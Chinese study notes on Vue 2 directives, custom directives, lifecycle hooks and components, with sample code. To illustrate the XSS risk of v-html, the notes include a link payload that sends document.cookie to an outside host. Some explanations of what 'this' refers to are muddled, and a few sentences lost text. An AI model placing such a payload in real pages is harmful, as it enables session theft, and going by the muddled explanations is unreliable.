1. Vue.text内置指令
- v-text指令: 向所在节点中渲染文本内容
- 与插值语法的区别: v-text会替换掉节点中的内容, 则不会
目前学过的指令:
v-bind: 单项绑定解析表达式, 可简写为 :xxx
v-model: 双向数据绑定
v-for: 遍历数组/对象/字符串
v-on: 绑定事件监听, 可简写为 @click
v-if: 条件渲染 (动态控制节点是否存在)
v-else: 条件渲染 (动态控制节点是否存在)
v-show: 条件渲染 (动态控制节点是否展示)
1 2 3 4 5 6 7 8 9 10 11 12
| <div class="box"> <h1>{{name}}</h1> <h1 v-text="name"></h1> <h1 v-text="str"></h1> </div> new Vue({ el: '.box', data: { name: '小城故事', str: '<h1>你好</h1>' } })
|
2. V-html内置指令
- v-html指令: 向指定节点中渲染包含html结构的内容
1. 与插值语法的区别:
- v-html会替换节点中所有的内容, 不会
- v-html可识别html结构
2. 注意: v-html有安全性问题!
- 在网站上动态渲染任意html是危险的, 容易导致XSS攻击
- 要在可信内容上使用v-html, 不要用在用户提交的内容上面
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <div class="box"> <h1>{{name}}</h1> <h1 v-text="a"></h1> <h1 v-html="a"></h1> <h1 v-html="b"></h1> </div> new Vue({ el: '.box', data: { name: '小城故事', a: '<h2>你好</h2>', b: '<a href=javascript:location.href="http://baidu.com?"+document.cookie>领取资料</a>' } })
|
3. V-cloak内置指令
- v-cloak指令(没有值): 本质是一个特殊属性, Vue实例创建完毕并接管容器后, 会删除v-cloak属性
- 使用CSS配合v-cloak可解决网速慢时页面展示的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <style> [v-cloak] { display: none; } </style> <div class="box"> <h1 v-cloak>{{name}}</h1> </div> <script src="http://192.168.0.104:3000/vue.js"></script> new Vue({ el: '.box', data: { name: '小城故事', } })
|
4. V-once内置指令
- v-once所在节点在初次动态渲染后, 就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新, 可用于优化性能
1 2 3 4 5 6 7 8 9 10 11
| <div class="box"> <h1 v-once>初始n的值是: {{n}}</h1> <h1>当前n的值是: {{n}}</h1> <button @click="n++">点我让n+1</button> </div> new Vue({ el: '.box', data: { n: 1 } })
|
5. V-pre内置指令
- 跳过所在节点的编译过程
- 可利用它跳过: 没有使用指令语法、没使用插值语法的节点, 会加快编译
1 2 3 4 5 6 7 8 9 10 11 12
| <div class="box"> <h1 v-pre>{{name}}</h1> <h1 v-pre>当前n的值是: {{n}}</h1> <button @click="n++">点我让n+1</button> </div> new Vue({ el: '.box', data: { name: '小城故事', n: 1 } })
|
6. 自定义指令-函数式
big函数何时会调用?
- 指令与元素成功绑定时(一上来)
- 指令所在的模板被重新解析时
- 定义一个v-big指令, 和v-text功能相似, 但会把绑定的数值放大10倍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <div class="box"> <h1>{{name}}</h1> <h1>当前的n值是: {{n}}</h1> <h1>放大10倍后的n值是: <span v-big="n"></span></h1> <button @click="n++">点我让n+1</button> </div> new Vue({ el: '.box', data: { n: 1, name: '小城同学' }, directives: { big(element, binding) { element.innerText = binding.value * 10 console.log(element, binding, this) console.log(element instanceof HTMLElement) } } })
|
7. 自定义指令-对象式
- 定义一个v-fbind指令, 和v-bind功能相似, 但可以让绑定input元素默认获取焦点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <div class="box"> <h1>{{name}}</h1> <h1>当前的n值是: {{n}}</h1> <h1>放大10倍后的n值是: <span v-big="n"></span></h1> <button @click="n++">点我让n+1</button> <!-- v-fbind指令 --> <input type="text" v-fbind:value="n"> </div> new Vue({ el: '.box', data: { n: 1, name: '小城同学' }, directives: { big(element, binding) { element.innerText = binding.value * 10 console.log(element, binding) }, fbind: { bind(element, binding) { console.log('bind', this) element.value = binding.value }, inserted(element, binding) { console.log('inserted') element.focus() }, update(element, binding) { console.log('update') element.value = binding.value } } } })
|
8. 自定义指令函数与对象式总结
1. 局部指令:
1 2 3 4 5 6
| new Vue({ directives: {指令名: 配置对象} }) 或 new Vue({ directives() {} })
|
2. 全局指令: Vue.directive(指令名: 配置对象) 或 Vue.directive(指令名: 回调函数)
3. 配置对象中常用的3个回调:
(1): bind: 指令与元素成功绑定时调用
(2): inserted: 指令所在的元素被插入页面时调用
(3): update: 指令所在的模板被重新解析时调用
4. 备注:
1.指令定义时不加v-, 但使用时要加v-:
2.指令名如果是多个单词, 要使用add-list命名方式, 不要用addList命名
在全局指令中, this指向Vue实例, 而局部指令中, this指向Vue实例的$options对象
在bind方法中, this指向指令对象本身, 因此是window
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <div class="box"> <h1>当前的n值是: {{n}}</h1> <h1>放大10倍后的n值是: <span v-big="n"></span></h1> <button @click="n++">点我让n+1</button> <!-- v-fbind指令 --> <input type="text" v-fbind-num:value="n"> </div> <div class="box2"> <input type="text" v-fbind-num:value="n"> </div> Vue.directive('fbind-num', { bind(element, binding) { console.log('bind', this) // 04. 此处this指向window element.value = binding.value }, inserted(element, binding) { console.log('inserted') element.focus() }, update(element, binding) { console.log('update') element.value = binding.value } }) // 03. 定义全局指令(函数式) 配置全局directive Vue.directive('big', function(element, binding) { element.innerText = binding.value * 10 console.log(element, binding, this) // 05. 此处this指向window })
new Vue({ el: '.box', data: { n: 1 }, directives: { // big(element, binding) { // element.innerText = binding.value * 10 // console.log(element, binding, this) // 此处this指向window // }, // 'fbind-num': { // bind(element, binding) { // console.log('bind', this) // 此处this指向window // element.value = binding.value // }, // inserted(element, binding) { // console.log('inserted') // element.focus() // }, // update(element, binding) { // console.log('update') // element.value = binding.value // } // } } }) new Vue({ el: '.box2', data: { n: 1 } })
|
9. 引出Vue生命周期/mounted
- 又名: 生命周期回调函数、生命周期函数、生命周期钩子
- 生命周期是什么: Vue在关键时刻调用一些特殊名称的函数
- 生命周期函数的名字不可更改, 但函数具体内容是程序员根据需求编写的
- 生命周期函数中的this指向vm或组件实例对象
- Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <div class="box"> <h2 :style="{opacity: opacity}">欢迎学习Vue</h2> <h2 v-if="a">你好</h2> </div> new Vue({ el: '.box', data: { opacity: 1, a: false }, mounted() { console.log('mounted', this) setInterval(() => { this.opacity -= 0.01 if (this.opacity <= 0) this.opacity = 1 }, 10) } })
|
10. Vue的生命周期
- Vue生命周期有四个阶段: 初始阶段、挂载阶段、更新阶段、销毁阶段、共八个钩子函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| <div class="box"> <h1>{{name}}</h1> <h1>当前n的值是: {{n}}</h1> <h3 v-text="n"></h3> <button @click="add">点我让n+1</button> <button @click="destroy">点我销毁vm</button> </div> let vm = new Vue({ el: '.box', data: { name: '小城同学', n: 1 }, methods: { add() { this.n++ console.log('add被调用了') }, destroy() { this.$destroy() }, m() { console.log('m...') } }, watch: { n() { console.log('n被监视了一次') } }, beforeCreate() { console.log('beforeCreate', this.n) }, created() { console.log('created', this.n) this.m() }, beforeMount() { console.log('beforeMount') }, mounted() { console.log('mounted') console.log(this.$el) console.log(this.$el instanceof HTMLElement) }, beforeUpdate() { console.log('beforeUpdate') }, updated() { console.log('updated') }, beforeDestroy() { console.log('beforeDestroy', this) }, destroyed() { console.log('destroyed', this) }, }) console.log(vm)
|
11. 总结Vue生命周期
1. 常用的生命周期钩子:
- mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等..初始化操作
- beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等..收尾工作
2. 关于销毁Vue实例:
- 销毁后 借助Vue开发者工具是看不到任何信息的
- 销毁后 自定义事件会失效, 原生DOM事件依然有效(低版本)
- 一般不会beforeDestroy操作数据, 因为即便操作数据, 也不会再触发更新流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <div class="box"> <h2 :style="{opacity: opacity}">欢迎学习Vue</h2> <button @click="stop">点击停止变换</button> <button @click="opacity = 1">透明度设置为1</button> </div> let vm = new Vue({ el: '.box', data: { opacity: 1, }, methods: { stop() { this.$destroy() } }, mounted() { console.log('mounted', this) this.timer = setInterval(() => { console.log('定时器还在运行') this.opacity -= 0.01 if (this.opacity <= 0) this.opacity = 1 }, 10) }, beforeDestroy() { clearInterval(this.timer) console.log('vm即将驾鹤西游了') }, })
|
12. Vue非单文件组件的使用-components-extend-template
- 组件的使用分为三步: 1.创建组件 2.注册组件 3.使用组件
1. 如何创建组件?
- 使用Vue.extend(options)创建, 其中options和new Vue(options)时传入的那个options几乎一样, 但也有区别
区别如下:
组件定义时, 不要写el配置项, 因为最终所有组件由vm管理和决定服务哪个容器
data必须写成函数, 避免组件被复用时, 数据存在引用关系
使用template配置组件结构, 但里面只能有一个根元素, 多个需加div包囊
2. 如何注册组件?
- 局部注册: new Vue时传入component选择
- 全局注册: Vue.component(组件名, 组件)
- 使用组件标签:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <div class="box"> <!-- 使用组件标签 --> <school></school> <hr> <student></student> <hr> <student></student> <hr> </div> <div class="box2"> <student></student> <all></all> </div> let school = Vue.extend({ template: ` <div> <h3>学校名称: {{schoolname}}</h3> <h3>学校地址: {{address}}</h3> <button @click="show">点我提示学校名</button> </div>`, data() { return { schoolname: '尚硅谷', address: '北京昌平' } }, methods: { show() { alert(this.schoolname) } } }) let student = Vue.extend({ template: ` <div> <h3>学生姓名: {{name}}</h3> <h3>学生年龄: {{age}}</h3> </div>`, data() { return { name: '小城同学', age: 18 } } })
let all = Vue.extend({ template: ` <div> <h3>你好啊, {{name}}</h3> </div>`, data() { return { name: '我是全局组件' } } }) Vue.component('all', all) new Vue({ el: '.box', components: { school: school, student: student } }) new Vue({ el: '.box2', components: { student } })
|
13. 非单文件的几个注意点
1. 组件名
(1) 一个单词组成:
第一种写法: 首字母小写 school
第二种写法: 首字母大写 School
(2) 多个单词组成
第一种写法: my-school
第二种写法: MySchool (需要脚手架支持)
备注:
组件名不能为HTML标签, 例如: h2 H2都不行
可以使用name配置项指定组件在开发者工具中呈现的名字
2. 组件标签
- 第一种写法:
- 第二种写法:
- 注意: 不使用脚手架时,会导致后续组件不能渲染
3. 简写方式
- let school = Vue.extend(options) 可简写为: let school = options
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <div class="box"> <school></school> <school/> <school/> </div> let school = Vue.extend({ name: 'xuexiao', template: ` <div> <h2>{{name}}</h2> <h2>{{address}}</h2> </div>`, data() { return { name: '尚硅谷', address: '北京昌平' } } }) new Vue({ el: '.box', components: { school } })
|
14.Vue组件的嵌套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <div class="box"> <!-- <hello></hello> --> <!-- <school></school> --> <!-- <app></app> --> </div> let student = Vue.extend({ template: ` <div> <h3>{{name}}</h3> <h3>{{age}}</h3> </div>`, data() { return { name: '小城同学', age: 18 } } }) let school = Vue.extend({ template: ` <div> <h3>{{schoolname}}</h3> <h3>{{address}}</h3> <student></student> </div>`, data() { return { schoolname: '尚硅谷', address: '北京昌平' } }, components: { student } })
let hello = Vue.extend({ template: ` <div> <h3>{{msg}}</h3> </div>`, data() { return { msg: '欢迎学习Vue' } } })
let app = Vue.extend({ template: ` <div> <hello></hello> <school></school> </div>`, components: { hello, school } })
let vm = new Vue({ el: '.box', template: '<app></app>', components: { app } }) console.log(vm)
|
15. Vue.Component构造函数-vc组件实例对象
- school组件本质是名为Vuecomponent构造函数, 是Vue.extend生成的
- 只需写, Vue解析时会创建school组件的实例对象
- 注意: 每次调用Vue.extend, 返回值都是一个全新的Vuecomponent
4. 关于this指向:
(1) 组件配置中:
data、methods、watch、computed函数, this都指向Vuecomponent实例对象
(2) new Vue(options)配置中:
data、methods、watch、computed函数, this都指向Vue实例对象
- Vuecomponent的实例对象, 简称vc/组件实例对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <div class="box"> <school></school> <hello></hello> </div> let school = Vue.extend({ template: ` <div> <h3>{{name}}</h3> <h3>{{address}}</h3> <button @click="show">点我提示Vue.Component的this</button> </div>`, data() { return { name: '尚硅谷', address: '北京昌平' } }, methods: { show() { console.log(this) } } }) let hello = Vue.extend({ template: `<h3>{{name}}</h3>`, data() { return { name: '你好' } } })
console.log(school) console.log(hello) console.log(school == hello) console.log(school.a = 1) console.log(hello.a) let vm = new Vue({ el: '.box', components: { school, hello } }) console.log(vm)
|
16. Vue和Component的重要内置关系
- 重要内置关系: VueComponent.prototype.proto == Vue.prototype
- 为什么要有这个关系? : 让组件实例对象vc 可以访问到Vue原型对象上的属性、方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
let school = Vue.extend({ template: ` <div> <h1>{{name}}</h1> <button @click="show">点我证明this指向x</button> </div>`, data() { return { name: '尚硅谷' } }, methods: { show() { console.log(this) console.log(this.x) } } }) let vm = new Vue({ el: '.box', data: { name: '小城同学' }, components: { school } }) console.log(vm) console.log(school.prototype.__proto__ == Vue.prototype)
Vue.prototype.x = 10
|
17. el和template配置项
- 编译模板语句生成虚拟DOM(此时虚拟DOM已经生成, 但页面没有渲染)
- 初始阶段有个判断流程才能进行下一阶段
- el有, template也有, 最终编译template模板语句
- el有, template没有, 最终编译el模板语句
- el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果template有, 最终编译template模板
- el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果没有template, 最终编译el模板
- 结论: 流程想要继续, el必须存在
- el和template同时存在, 优先选template, 没有则选el
1 2 3 4 5 6 7 8 9 10 11 12
| <div class="box"> <h1>{{name}}</h1> </div> let vm = new Vue({ template: `<h1>{{n}}</h1>`, data: { name: '测试el和template配置项', n: 'template配置项' } }) vm.$mount('.box')
|
1 2 3 4 5 6 7 8 9 10
| <button>点击创建一个input输入框</button> <br> <script> document.querySelector('button').addEventListener('click', () => { let input = document.createElement('input') document.body.appendChild(input) input.focus() input.className = 'add' input.parentElement.style.backgroundColor = 'skyblue' }) </script>
|